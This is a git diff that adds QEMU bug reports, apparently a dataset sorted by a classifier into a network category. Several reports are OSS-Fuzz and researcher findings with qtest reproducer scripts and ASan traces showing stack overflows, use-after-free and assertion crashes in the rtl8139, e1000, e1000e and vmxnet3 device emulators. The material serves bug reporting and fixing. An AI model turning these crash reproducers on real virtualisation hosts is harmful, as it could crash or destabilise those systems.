0x7ffcd01f2cf0 sp 0x7ffcd01f2498 +WRITE of size 8 at 0x6280000449f0 thread T0 + #0 0x7f751f5eed19 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5ed19) + #1 0x55948f3c9287 in nic_reset ../hw/net/eepro100.c:616 + #2 0x5594900f481a in qemu_devices_reset ../hw/core/reset.c:69 + #3 0x55948fae72e7 in pc_machine_reset ../hw/i386/pc.c:1615 + #4 0x55948fda10af in qemu_system_reset ../softmmu/vl.c:1405 + #5 0x55948f1ce8ed in load_snapshot ../migration/savevm.c:3008 + #6 0x55948f7420e9 in hmp_loadvm ../monitor/hmp-cmds.c:1133 + #7 0x55948f7e4319 in handle_hmp_command ../monitor/hmp.c:1100 + #8 0x55948f7dbf1f in monitor_command_cb ../monitor/hmp.c:47 + #9 0x559490599854 in readline_handle_byte ../util/readline.c:408 + #10 0x55948f7e635a in monitor_read ../monitor/hmp.c:1340 + #11 0x5594900c25c5 in qemu_chr_be_write_impl ../chardev/char.c:201 + #12 0x5594900c266b in qemu_chr_be_write ../chardev/char.c:213 + #13 0x5594900df9ce in fd_chr_read ../chardev/char-fd.c:68 + #14 0x55949011f217 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84 + #15 0x7f751e056284 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c284) + #16 0x559490580e97 in glib_pollfds_poll ../util/main-loop.c:221 + #17 0x559490580fb3 in os_host_main_loop_wait ../util/main-loop.c:244 + #18 0x55949058124f in main_loop_wait ../util/main-loop.c:520 + #19 0x55948fda1e53 in qemu_main_loop ../softmmu/vl.c:1678 + #20 0x55948f183c76 in main ../softmmu/main.c:50 + #21 0x7f751a8e3b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) + #22 0x55948f183b69 in _start (/home/zjusvn/qemu5-hypervisor/qemu-5.2.0-rc4/build/qemu-system-x86_64+0x19c6b69) + +0x6280000449f0 is located 2288 bytes inside of 15616-byte region [0x628000044100,0x628000047e00) +freed by thread T1 here: + #0 0x7f751f66e7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) + #1 0x5594900ade06 in object_finalize ../qom/object.c:689 + #2 0x5594900b04fe in object_unref ../qom/object.c:1183 + #3 0x5594900eae68 in bus_free_bus_child ../hw/core/qdev.c:56 + #4 0x55949055d2d7 in call_rcu_thread ../util/rcu.c:281 + #5 0x5594905ad296 in qemu_thread_start ../util/qemu-thread-posix.c:521 + #6 0x7f751acba6da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) + +previously allocated by thread T0 here: + #0 0x7f751f66eb40 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb40) + #1 0x7f751e05bab8 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51ab8) + #2 0x5594900ae04f in object_new ../qom/object.c:744 + #3 0x5594900ec0c3 in qdev_new ../hw/core/qdev.c:154 + #4 0x55948f37b084 in qdev_device_add ../softmmu/qdev-monitor.c:654 + #5 0x55948f37c36d in qmp_device_add ../softmmu/qdev-monitor.c:805 + #6 0x55948f37cd40 in hmp_device_add ../softmmu/qdev-monitor.c:916 + #7 0x55948f7e4319 in handle_hmp_command ../monitor/hmp.c:1100 + #8 0x55948f7dbf1f in monitor_command_cb ../monitor/hmp.c:47 + #9 0x559490599854 in readline_handle_byte ../util/readline.c:408 + #10 0x55948f7e635a in monitor_read ../monitor/hmp.c:1340 + #11 0x5594900c25c5 in qemu_chr_be_write_impl ../chardev/char.c:201 + #12 0x5594900c266b in qemu_chr_be_write ../chardev/char.c:213 + #13 0x5594900df9ce in fd_chr_read ../chardev/char-fd.c:68 + #14 0x55949011f217 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84 + #15 0x7f751e056284 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4c284) + +Thread T1 created by T0 here: + #0 0x7f751f5c7d2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f) + #1 0x5594905ad673 in qemu_thread_create ../util/qemu-thread-posix.c:558 + #2 0x55949055d8f0 in rcu_init_complete ../util/rcu.c:379 + #3 0x55949055dab9 in rcu_init ../util/rcu.c:435 + #4 0x55949068e5dc in __libc_csu_init (/home/zjusvn/qemu5-hypervisor/qemu-5.2.0-rc4/build/qemu-system-x86_64+0x2ed15dc) + +SUMMARY: AddressSanitizer: heap-use-after-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x5ed19) +Shadow bytes around the buggy address: + 0x0c50800008e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c50800008f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000900: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000910: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000920: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd +=>0x0c5080000930: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd + 0x0c5080000940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000960: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000970: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c5080000980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb +==32048==ABORTING + + +Thanks. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1910826 b/results/classifier/gemma3:12b/network/1910826 new file mode 100644 index 000000000..501060052 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1910826 @@ -0,0 +1,65 @@ + +[OSS-Fuzz] Issue 29224 rtl8139: Stack-overflow in rtlNUMBER_transmit_one + +=== Reproducer === +cat << EOF | ../build/qemu-system-i386 -machine q35 \ +-nodefaults -device rtl8139,netdev=net0 \ +-netdev user,id=net0 -display none -qtest stdio +outl 0xcf8 0x80000804 +outb 0xcfc 0x26 +outl 0xcf8 0x80000817 +outb 0xcfc 0xff +write 0x1 0x1 0x42 +write 0x5 0x1 0x42 +write 0x9 0x1 0x42 +write 0xd 0x1 0x42 +write 0xff000044 0x4 0x11 +write 0xff000037 0x1 0x1c +writel 0xff000030 0xff000000 +write 0xff000040 0x4 0x100006 +write 0xff000010 0x4 0x01020 +EOF + +=== Stack Trace === +==2819215==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd2c714040 (pc 0x5639b3a933d9 bp 0x7ffd2c716210 sp 0x7ffd2c714040 T0) +#0 rtl8139_transmit_one /src/qemu/hw/net/rtl8139.c:1815 +#1 rtl8139_transmit /src/qemu/hw/net/rtl8139.c:2388:9 +#2 rtl8139_TxStatus_write /src/qemu/hw/net/rtl8139.c:2442:5 +#3 rtl8139_io_writel /src/qemu/hw/net/rtl8139.c:2865:13 +#4 rtl8139_ioport_write /src/qemu/hw/net/rtl8139.c:3290:9 +#5 memory_region_write_accessor /src/qemu/softmmu/memory.c:491:5 +#6 access_with_adjusted_size /src/qemu/softmmu/memory.c:552:18 +#7 memory_region_dispatch_write /src/qemu/softmmu/memory.c:0:13 +#8 flatview_write_continue /src/qemu/softmmu/physmem.c:2759:23 +#9 flatview_write /src/qemu/softmmu/physmem.c:2799:14 +#10 address_space_write /src/qemu/softmmu/physmem.c:2891:18 +#11 address_space_rw /src/qemu/softmmu/physmem.c:2901:16 +#12 dma_memory_rw_relaxed /src/qemu/include/sysemu/dma.h:88:12 +#13 dma_memory_rw /src/qemu/include/sysemu/dma.h:127:12 +#14 pci_dma_rw /src/qemu/include/hw/pci/pci.h:801:12 +#15 pci_dma_write /src/qemu/include/hw/pci/pci.h:837:12 +#16 rtl8139_write_buffer /src/qemu/hw/net/rtl8139.c:778:5 +#17 rtl8139_do_receive /src/qemu/hw/net/rtl8139.c:1172:9 +#18 rtl8139_transfer_frame /src/qemu/hw/net/rtl8139.c:1798:9 +#19 rtl8139_transmit_one /src/qemu/hw/net/rtl8139.c:1845:5 +#20 rtl8139_transmit /src/qemu/hw/net/rtl8139.c:2388:9 +#21 rtl8139_TxStatus_write /src/qemu/hw/net/rtl8139.c:2442:5 +#22 rtl8139_io_writel /src/qemu/hw/net/rtl8139.c:2865:13 +#23 rtl8139_ioport_write /src/qemu/hw/net/rtl8139.c:3290:9 +#24 memory_region_write_accessor /src/qemu/softmmu/memory.c:491:5 +#25 access_with_adjusted_size /src/qemu/softmmu/memory.c:552:18 +#26 memory_region_dispatch_write /src/qemu/softmmu/memory.c:0:13 +#27 flatview_write_continue /src/qemu/softmmu/physmem.c:2759:23 +#28 flatview_write /src/qemu/softmmu/physmem.c:2799:14 +#29 address_space_write /src/qemu/softmmu/physmem.c:2891:18 +#30 address_space_rw /src/qemu/softmmu/physmem.c:2901:16 +#31 dma_memory_rw_relaxed /src/qemu/include/sysemu/dma.h:88:12 +#32 dma_memory_rw /src/qemu/include/sysemu/dma.h:127:12 +#33 pci_dma_rw /src/qemu/include/hw/pci/pci.h:801:12 +#34 pci_dma_write /src/qemu/include/hw/pci/pci.h:837:12 +#35 rtl8139_write_buffer /src/qemu/hw/net/rtl8139.c:778:5 +#36 rtl8139_do_receive /src/qemu/hw/net/rtl8139.c:1172:9 +#37 rtl8139_transfer_frame /src/qemu/hw/net/rtl8139.c:1798:9 +Repeat until we run out of stack + +https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=29224 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1911797 b/results/classifier/gemma3:12b/network/1911797 new file mode 100644 index 000000000..df3cf33e1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1911797 @@ -0,0 +1,9 @@ + +hmp command `hostfwd_remove` does not work on running vm + +On a running VM, I ran the following two hmp commands: + +"hostfwd_add tcp::43210-:43210" --> WORKS +'hostfwd_remove tcp::43210-:43210" --> DOES NOT WORK. returns 'invalid format' + +QEMU version 5.1 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1911839 b/results/classifier/gemma3:12b/network/1911839 new file mode 100644 index 000000000..3fc7be9c1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1911839 @@ -0,0 +1,71 @@ + +[OSS-Fuzz] Issue 29586 e1000e: Memcpy-param-overlap in flatview_write_continue + +=== Reproducer === +cat << EOF | ./qemu-system-i386 -M q35 -accel qtest \ +-qtest stdio -nographic -nodefaults -device \ +e1000e,netdev=net0 -netdev user,id=net0 +outl 0xcf8 0x80000811 +outl 0xcfc 0x5ac600 +outl 0xcf8 0x80000801 +outl 0xcfc 0x26000000 +write 0x5ac60100 0x4 0x56000302 +write 0x5ac6011a 0x2 0x1006 +write 0x5ac60120 0x1 0x25 +write 0x5ac6042a 0x2 0x4048 +write 0x5ac60431 0x1 0x04 +write 0x4240 0x1 0xff +write 0x4241 0x1 0x01 +write 0x4249 0x1 0xf5 +write 0x1ff 0x1 0x11 +write 0x5ac60401 0x1 0x12 +write 0x5ac6043a 0x2 0x3000 +write 0x5ac60112 0x2 0xf090 +write 0x5ac60430 0x1 0x0 +write 0x239 0x1 0xff +write 0x2bb 0x1 0x41 +write 0x9531 0x1 0xff +write 0x9532 0x1 0xff +write 0x9533 0x1 0xff +write 0x9534 0x1 0xff +write 0x9535 0x1 0xff +write 0x9536 0x1 0xff +write 0x9537 0x1 0xff +write 0x5ac60403 0x1 0x12 +EOF + +=== Stack Trace === +==1364==ERROR: AddressSanitizer: memcpy-param-overlap: memory ranges [0x7f90b7e00025,0x7f90b7e00604) and [0x7f90b7e00225, 0x7f90b7e00804) overlap +#0 __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3 +#1 flatview_write_continue /src/qemu/softmmu/physmem.c:2764:13 +#2 flatview_write /src/qemu/softmmu/physmem.c:2799:14 +#3 address_space_write /src/qemu/softmmu/physmem.c:2891:18 +#4 address_space_rw /src/qemu/softmmu/physmem.c:2901:16 +#5 dma_memory_rw_relaxed /src/qemu/include/sysemu/dma.h:88:12 +#6 dma_memory_rw /src/qemu/include/sysemu/dma.h:127:12 +#7 pci_dma_rw /src/qemu/include/hw/pci/pci.h:801:12 +#8 pci_dma_write /src/qemu/include/hw/pci/pci.h:837:12 +#9 e1000e_write_to_rx_buffers /src/qemu/hw/net/e1000e_core.c:1405:9 +#10 e1000e_write_packet_to_guest /src/qemu/hw/net/e1000e_core.c:1575:21 +#11 e1000e_receive_iov /src/qemu/hw/net/e1000e_core.c:1702:9 +#12 e1000e_nc_receive_iov /src/qemu/hw/net/e1000e.c:214:12 +#13 net_tx_pkt_sendv /src/qemu/hw/net/net_tx_pkt.c:556:9 +#14 net_tx_pkt_send /src/qemu/hw/net/net_tx_pkt.c:633:9 +#15 net_tx_pkt_send_loopback /src/qemu/hw/net/net_tx_pkt.c:646:11 +#16 e1000e_tx_pkt_send /src/qemu/hw/net/e1000e_core.c:657:16 +#17 e1000e_process_tx_desc /src/qemu/hw/net/e1000e_core.c:736:17 +#18 e1000e_start_xmit /src/qemu/hw/net/e1000e_core.c:927:9 +#19 e1000e_set_tctl /src/qemu/hw/net/e1000e_core.c:2424:9 +#20 e1000e_core_write /src/qemu/hw/net/e1000e_core.c:3256:9 +#21 e1000e_mmio_write /src/qemu/hw/net/e1000e.c:110:5 +#22 memory_region_write_accessor /src/qemu/softmmu/memory.c:491:5 +#23 access_with_adjusted_size /src/qemu/softmmu/memory.c:552:18 +#24 memory_region_dispatch_write /src/qemu/softmmu/memory.c:0:13 +#25 flatview_write_continue /src/qemu/softmmu/physmem.c:2759:23 +#26 flatview_write /src/qemu/softmmu/physmem.c:2799:14 +#27 address_space_write /src/qemu/softmmu/physmem.c:2891:18 +#28 __wrap_qtest_writeq /src/qemu/tests/qtest/fuzz/qtest_wrappers.c:187:9 +#29 op_write /src/qemu/tests/qtest/fuzz/generic_fuzz.c:479:13 +#30 generic_fuzz /src/qemu/tests/qtest/fuzz/generic_fuzz.c:681:17 + +OSS-Fuzz Report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=29586 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1912857 b/results/classifier/gemma3:12b/network/1912857 new file mode 100644 index 000000000..a5a199875 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1912857 @@ -0,0 +1,12 @@ + +virtio-serial blocks hostfwd ssh on windows 10 host + +qemu-system-x86_64 -display none -hda archlinux.qcow2 -m 4G -netdev user,id=n1,hostfwd=tcp::2222-:22 -device virtio-net-pci,netdev=n1 --> WORKS - meaning I can ssh into the vm via port 2222 + +qemu-system-x86_64 -display none -hda archlinux.qcow2 -m 4G -netdev user,id=n1,hostfwd=tcp::2222-:22 -device virtio-net-pci,netdev=n1 -device virtio-serial -serial tcp:localhost:55298,server,nowait --> DOES NOT WORK - meaning I cannot ssh into the vm + +Not only does the port 2222 work, but I am not able to perform any serial transfer on port 55298 as well. + +Host: Windows 10 +Guest: archlinux +QEMU version 5.2 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1913873 b/results/classifier/gemma3:12b/network/1913873 new file mode 100644 index 000000000..a034c0d46 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1913873 @@ -0,0 +1,56 @@ + +QEMU: net: vmxnet: integer overflow may crash guest + +* Gaoning Pan from Zhejiang University & Ant Security Light-Year Lab reported a malloc failure + issue locates in vmxnet3_activate_device() of qemu/hw/net/vmxnet3.c NIC emulator + +* This issue is reproducible because while activating the NIC device, vmxnet3_activate_device + does not validate guest supplied configuration values against predefined min/max limits. + +@@ -1420,6 +1420,7 @@ static void vmxnet3_activate_device(VMXNET3State *s) + vmxnet3_setup_rx_filtering(s); + /* Cache fields from shared memory */ + s->mtu = VMXNET3_READ_DRV_SHARED32(d, s->drv_shmem, devRead.misc.mtu); ++ assert(VMXNET3_MIN_MTU <= s->mtu && s->mtu < VMXNET3_MAX_MTU); <= Did not check if MTU is within range + VMW_CFPRN("MTU is %u", s->mtu); + + s->max_rx_frags = +@@ -1473,6 +1474,9 @@ static void vmxnet3_activate_device(VMXNET3State *s) + /* Read rings memory locations for TX queues */ + pa = VMXNET3_READ_TX_QUEUE_DESCR64(d, qdescr_pa, conf.txRingBasePA); + size = VMXNET3_READ_TX_QUEUE_DESCR32(d, qdescr_pa, conf.txRingSize); ++ if (size > VMXNET3_TX_RING_MAX_SIZE) { <= Did not check TX ring size ++ size = VMXNET3_TX_RING_MAX_SIZE; ++ } + + vmxnet3_ring_init(d, &s->txq_descr[i].tx_ring, pa, size, + sizeof(struct Vmxnet3_TxDesc), false); +@@ -1483,6 +1487,9 @@ static void vmxnet3_activate_device(VMXNET3State *s) + /* TXC ring */ + pa = VMXNET3_READ_TX_QUEUE_DESCR64(d, qdescr_pa, conf.compRingBasePA); + size = VMXNET3_READ_TX_QUEUE_DESCR32(d, qdescr_pa, conf.compRingSize); ++ if (size > VMXNET3_TC_RING_MAX_SIZE) { <= Did not check TC ring size ++ size = VMXNET3_TC_RING_MAX_SIZE; ++ } + vmxnet3_ring_init(d, &s->txq_descr[i].comp_ring, pa, size, + sizeof(struct Vmxnet3_TxCompDesc), true); + VMXNET3_RING_DUMP(VMW_CFPRN, "TXC", i, &s->txq_descr[i].comp_ring); +@@ -1524,6 +1531,9 @@ static void vmxnet3_activate_device(VMXNET3State *s) + /* RX rings */ + pa = VMXNET3_READ_RX_QUEUE_DESCR64(d, qd_pa, conf.rxRingBasePA[j]); + size = VMXNET3_READ_RX_QUEUE_DESCR32(d, qd_pa, conf.rxRingSize[j]); ++ if (size > VMXNET3_RX_RING_MAX_SIZE) { <= Did not check RX ring size ++ size = VMXNET3_RX_RING_MAX_SIZE; ++ } + vmxnet3_ring_init(d, &s->rxq_descr[i].rx_ring[j], pa, size, + sizeof(struct Vmxnet3_RxDesc), false); + VMW_CFPRN("RX queue %d:%d: Base: %" PRIx64 ", Size: %d", +@@ -1533,6 +1543,9 @@ static void vmxnet3_activate_device(VMXNET3State *s) + /* RXC ring */ + pa = VMXNET3_READ_RX_QUEUE_DESCR64(d, qd_pa, conf.compRingBasePA); + size = VMXNET3_READ_RX_QUEUE_DESCR32(d, qd_pa, conf.compRingSize); ++ if (size > VMXNET3_RC_RING_MAX_SIZE) { <= Did not check RC ring size ++ size = VMXNET3_RC_RING_MAX_SIZE; ++ } + +This may lead to potential integer overflow OR OOB buffer access issues. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1913923 b/results/classifier/gemma3:12b/network/1913923 new file mode 100644 index 000000000..fcb94f159 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1913923 @@ -0,0 +1,55 @@ + +assert issue locates in hw/net/vmxnet3.c:1793:vmxnet3_io_bar1_write: code should not be reach + +Hello, + +I found an assertion failure in hw/net/vmxnet3.c:1793 + +This was found in latest version 5.2.0. + +my reproduced is as follows: + + +cat << EOF | ./qemu-system-x86_64 \ +-device vmxnet3 \ +-display none -nodefaults -qtest stdio +outl 0xcf8 0x80001014 +outl 0xcfc 0xf0001000 +outl 0xcf8 0x80001018 +outl 0xcf8 0x80001004 +outw 0xcfc 0x7 +writel 0x5c000 0xbabefee1 +writel 0x5c028 0x5d000 +writel 0x5c03c 0x01010101 +writel 0x5d038 0xe0000000 +writel 0xf0001038 1 +EOF + + +Backtrace is as follows: +#0 0x00007f6f641a5f47 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 +#1 0x00007f6f641a78b1 in __GI_abort () at abort.c:79 +#2 0x00007f6f67922315 in g_assertion_message () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#3 0x00007f6f6792237a in g_assertion_message_expr () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#4 0x000055edcaec96af in vmxnet3_io_bar1_write (opaque=0x628000004100, addr=56, val=1, size=4) at ../hw/net/vmxnet3.c:1793 +#5 0x000055edcbd294c6 in memory_region_write_accessor (mr=0x628000006b00, addr=56, value=0x7fffd52ba848, size=4, shift=0, mask=4294967295, attrs=...) at ../softmmu/memory.c:491 +#6 0x000055edcbd299be in access_with_adjusted_size (addr=56, value=0x7fffd52ba848, size=4, access_size_min=4, access_size_max=4, access_fn=0x55edcbd2918c <memory_region_write_accessor>, mr=0x628000006b00, attrs=...) at ../softmmu/memory.c:552 +#7 0x000055edcbd35ef2 in memory_region_dispatch_write (mr=0x628000006b00, addr=56, data=1, op=MO_32, attrs=...) at ../softmmu/memory.c:1501 +#8 0x000055edcba1e554 in flatview_write_continue (fv=0x6060000619a0, addr=4026535992, attrs=..., ptr=0x7fffd52bae80, len=4, addr1=56, l=4, mr=0x628000006b00) at ../softmmu/physmem.c:2759 +#9 0x000055edcba1e8c5 in flatview_write (fv=0x6060000619a0, addr=4026535992, attrs=..., buf=0x7fffd52bae80, len=4) at ../softmmu/physmem.c:2799 +#10 0x000055edcba1f391 in address_space_write (as=0x608000002620, addr=4026535992, attrs=..., buf=0x7fffd52bae80, len=4) at ../softmmu/physmem.c:2891 +#11 0x000055edcbaff8d3 in qtest_process_command (chr=0x55edd03ff4a0 <qtest_chr>, words=0x60300007f450) at ../softmmu/qtest.c:534 +#12 0x000055edcbb04aa1 in qtest_process_inbuf (chr=0x55edd03ff4a0 <qtest_chr>, inbuf=0x61900000fd00) at ../softmmu/qtest.c:797 +#13 0x000055edcbb04bcc in qtest_read (opaque=0x55edd03ff4a0 <qtest_chr>, buf=0x7fffd52bbe30 "outl 0xcf8 0x80001014\noutl 0xcfc 0xf0001000\noutl 0xcf8 0x80001018\noutl 0xcf8 0x80001004\noutw 0xcfc 0x7\nwritel 0x5c000 0xbabefee1\nwritel 0x5c028 0x5d000\nwritel 0x5c03c 0x01010101\nwritel 0x5d038 0xe0000"..., size=225) at ../softmmu/qtest.c:809 +#14 0x000055edcbe73742 in qemu_chr_be_write_impl (s=0x60f000002110, buf=0x7fffd52bbe30 "outl 0xcf8 0x80001014\noutl 0xcfc 0xf0001000\noutl 0xcf8 0x80001018\noutl 0xcf8 0x80001004\noutw 0xcfc 0x7\nwritel 0x5c000 0xbabefee1\nwritel 0x5c028 0x5d000\nwritel 0x5c03c 0x01010101\nwritel 0x5d038 0xe0000"..., len=225) at ../chardev/char.c:201 +#15 0x000055edcbe73820 in qemu_chr_be_write (s=0x60f000002110, buf=0x7fffd52bbe30 "outl 0xcf8 0x80001014\noutl 0xcfc 0xf0001000\noutl 0xcf8 0x80001018\noutl 0xcf8 0x80001004\noutw 0xcfc 0x7\nwritel 0x5c000 0xbabefee1\nwritel 0x5c028 0x5d000\nwritel 0x5c03c 0x01010101\nwritel 0x5d038 0xe0000"..., len=225) at ../chardev/char.c:213 +#16 0x000055edcbe9188e in fd_chr_read (chan=0x608000002520, cond=(G_IO_IN | G_IO_HUP), opaque=0x60f000002110) at ../chardev/char-fd.c:68 +#17 0x000055edcbe2379d in qio_channel_fd_source_dispatch (source=0x60c000025c00, callback=0x55edcbe915ac <fd_chr_read>, user_data=0x60f000002110) at ../io/channel-watch.c:84 +#18 0x00007f6f678fb285 in g_main_context_dispatch () at /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 +#19 0x000055edcc50b503 in glib_pollfds_poll () at ../util/main-loop.c:221 +#20 0x000055edcc50b68b in os_host_main_loop_wait (timeout=0) at ../util/main-loop.c:244 +#21 0x000055edcc50b9a5 in main_loop_wait (nonblocking=0) at ../util/main-loop.c:520 +#22 0x000055edcbd8805b in qemu_main_loop () at ../softmmu/vl.c:1678 +#23 0x000055edcab67e69 in main (argc=8, argv=0x7fffd52bd1d8, envp=0x7fffd52bd220) at ../softmmu/main.c:50 +#24 0x00007f6f64188b97 in __libc_start_main (main=0x55edcab67e2a <main>, argc=8, argv=0x7fffd52bd1d8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffd52bd1c8) at ../csu/libc-start.c:310 +#25 0x000055edcab67d4a in _start () \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1913969 b/results/classifier/gemma3:12b/network/1913969 new file mode 100644 index 000000000..aa7fc2353 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1913969 @@ -0,0 +1,24 @@ + +unable to migrate non shared storage when TLS is used + +Operating system: Gentoo +Architecture: x86_64 +kernel version: 5.4.72, 5.10.11 +libvirt version: at least 6.9.0, 6.10.0, 7.0.0 +Hypervisor and version: qemu 5.1.0, 5.2.0 + +With software versions described above and following configurations: +libvirt: +key_file = "/etc/ssl/libvirt/server.lan.key" +cert_file = "/etc/ssl/libvirt/server.lan.crt" +ca_file = "/etc/ssl/libvirt/ca.crt" +log_filters="3:remote 4:event 3:util.json 3:rpc 1:*" +log_outputs="1:file:/var/log/libvirt/libvirtd.log" +qemu: +default_tls_x509_cert_dir = "/etc/ssl/qemu" +default_tls_x509_verify = 1 +migration with tls: +virsh # migrate vm1 qemu+tls://server2.lan/system --persistent --undefinesource --copy-storage-all --verbose --tls +never succeeds. Progress stops typically at high progress amounts (95%-98%), and network traffic drastically drops as well (from 1 gbps+ to nothing). domjobinfo progress also stops. Without --tls migrations succeed without issues without any other changes to hosts or configurations. + +Note: I reported this originally as libvirt bug: https://gitlab.com/libvirt/libvirt/-/issues/108. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1914117 b/results/classifier/gemma3:12b/network/1914117 new file mode 100644 index 000000000..d307ab138 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1914117 @@ -0,0 +1,16 @@ + +Short files returned via FTP on Qemu with various architectures and OSes + + +Qemu 5.2 on Mac OS X Big Sur. + +I originally thought that it might be caused by the home-brew version of Qemu, but this evening I have removed the brew edition and compiled from scratch (using Ninja & Xcode compiler). +Still getting the same problem,. + +On the following architectures: +arm64, amd64 and sometimes i386 running NetBSD host OS; +i386 running OpenBSD host OS: + +I have seen a consistent problem with FTP returning short files. The file will be a couple of bytes too short. I do not believe this is a problem with the OS. Downloading the perl source code from CPAN does not work properly, nor does downloading bind from isc. I've tried this on different architectures as above. + +(Qemu 4.2 on Ubuntu/x86_64 with NetBSD/i386 seems to function fine. My gut feel is there is something not right on the Mac OS version of Qemu or a bug in 5.2 - obviously in the network layer somewhere. If you have anything you want me to try, please let me know - happy to help get a resolution.) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1916344 b/results/classifier/gemma3:12b/network/1916344 new file mode 100644 index 000000000..5d2f0d8c7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1916344 @@ -0,0 +1,25 @@ + +User mode networking not working properly on QEMU on Mac OS X host + +Steps to reproduce: + +1. Install QEMU using homebrew on Mac OS X (I used Big Sur) +2. Spin up a guest VM (say) Cent OS8 using user mode networking. +3. Install podman inside the guest +4. Run podman pull alpine + +The result is: + +[root@localhost ~]# podman pull alpine +Resolved "alpine" as an alias (/etc/containers/registries.conf.d/shortnames.conf) +Trying to pull docker.io/library/alpine:latest... +Getting image source signatures +Copying blob ba3557a56b15 [======================================] 2.7MiB / 2.7MiB + unexpected EOF +Error: Error writing blob: error storing blob to file "/var/tmp/storage851171596/1": error happened during read: unexpected EOF + +This is happening because QEMU is telling the guest that the TCP connection is closed even before reading all the data from the host socket and forwarding it to the guest. + +This issue doesn't happen on a Linux host. So, that tells me that this has something to do with QEMU installation on Mac OS X. + +This could be a slirp related issue. So, QEMU/slirp may need to work together on fixing this. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1917082 b/results/classifier/gemma3:12b/network/1917082 new file mode 100644 index 000000000..a9b6234e1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1917082 @@ -0,0 +1,129 @@ + +[OSS-Fuzz] Issue 27574 e1000: Loopback-related stack-overflow + +=== Reproducer === +cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ +512M -M q35 -nodefaults -device e1000,netdev=net0 -netdev user,id=net0 \ +-qtest /dev/null -qtest stdio +outl 0xcf8 0x80000813 +outl 0xcfc 0xfe +outl 0xcf8 0x80000803 +outw 0xcfc 0x0600 +write 0xfe000102 0x1 0x0a +writel 0xfe000020 0x420ff00 +write 0xfe00280a 0x2 0x0828 +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +clock_step +write 0xfe00281b 0x1 0x08 +write 0xf9b 0x1 0x01 +write 0x2170 0x1 0x14 +write 0x2171 0x1 0x38 +write 0x2173 0x1 0xfe +write 0xfe000402 0x1 0x02 +write 0xfe00380a 0x2 0x0210 +write 0xfe003818 0x1 0xfa +EOF + +=== Stack-trace 